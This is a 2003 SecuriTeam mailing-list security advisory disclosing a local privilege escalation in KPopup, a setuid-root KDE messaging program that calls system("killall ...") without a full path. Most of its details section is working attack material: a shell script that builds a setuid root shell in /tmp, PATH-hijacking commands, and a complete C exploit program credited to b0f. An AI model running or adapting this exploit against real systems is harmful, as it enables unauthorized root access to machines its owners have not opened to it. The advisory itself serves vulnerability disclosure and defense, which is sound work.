[UNIX] KPopup Allows Gaining of Elevated Privileges (Insecure system())
From: SecuriTeam (support_at_securiteam.com)
Date: 10/29/03
- Previous message: SecuriTeam: "[NEWS] Mac OS X Systemic Insecure File Permissions"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 29 Oct 2003 15:31:04 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
KPopup Allows Gaining of Elevated Privileges (Insecure system())
------------------------------------------------------------------------
SUMMARY
<http://www.henschelsoft.de/kpopup_en.html> KPopup is "a KDE program for
sending and receiving MS Windows WinPopup messages. When package is
compiled and install the binary KPopup is installed setuid root it also
comes as part of FreeBSD ports collection". A vulnerability in the KPopup
allows local users to gain elevated privileges.
DETAILS
This application uses the system() call that is considered to be unsafe,
especially on a setuid root binaries. It also contains Format string bugs
in the sprintf() function. However, in this advisory b0f will explain how
to obtain root privileges from this application by exploiting system().
There is 3 places on the misc.cpp source that use system(). The one we use
to exploit this is on line 106.
void sendSignalForNewMessage() {
char command[50];
sprintf(command, "killall -USR1 kpopup");
system(command);
}
To exploit this we need to do is make a shell script and call it killall,
and place it in the /tmp directory. Here is a script that b0f wrote to
exploit the vulnerability:
#!/bin/sh
cd /tmp
/bin/cat > shell.c << EOF
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF
/usr/bin/gcc /tmp/shell.c -o /tmp/shell
/bin/chown root.root shell
/bin/chmod 6711 shell
echo "NOW HERE IS YOUR ROOT SHELL"
/tmp/shell
After you have created the file, place it in /tmp as killall and chmod +x
it. Now what we need to do is:
export PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin
export
PATH=$PATH:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:
Once this is done, all we need to do is run the binary like so:
/usr/local/kde/bin/kpopup root shell
In addition, that is it we now have root privileges.
Exploit:
/*Local root exploit for kpopup
*by b0f www.b0f.net
*/
#include <stdio.h>
int main()
{
setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
fclose(fd);
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:b0fnet@yahoo.com> b0f
www.b0f.net.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Mac OS X Systemic Insecure File Permissions"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [UNIX] Rocks Clusters Local Root Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Rocks Clusters Local Root Vulnerabilities
... Rocks Clusters is vulnerable to local root privilege escalation due to ... systemexecution.
... (Securiteam) - [UNIX] Sun Microsystems Solaris ld.so Directory Traversal Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Sun Microsystems Solaris ld.so
Directory Traversal Vulnerability ... potentially allow a non root user to execute
arbitrary code as root. ... This message file is meant to contain format strings used to
build error ... (Securiteam) - [UNIX] bsdmainutils Local Root Compromise
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in its calendar
program allows local users to gain root ... When called with the "-a" option, calendar
will processes the event files ... (Securiteam) - [EXPL] sudo Local Privilege Escalation
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... sudo is a program in Unix,
Linux, and similar operating ... echo "Getting root!!" ... % gcc -o egg egg.c
... (Securiteam) - [NEWS] Clipcomm CPW-100E Wireless Mobile IP Phone Open Debug Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Clipcomm's Wi-Fi IP phone, CWP-100,
is a low-priced wireless mobile IP ... An undocumented port and debug service on TCP/60023
enables an attacker to ... The shell access provides the attacker with two levels
of access: ... (Securiteam)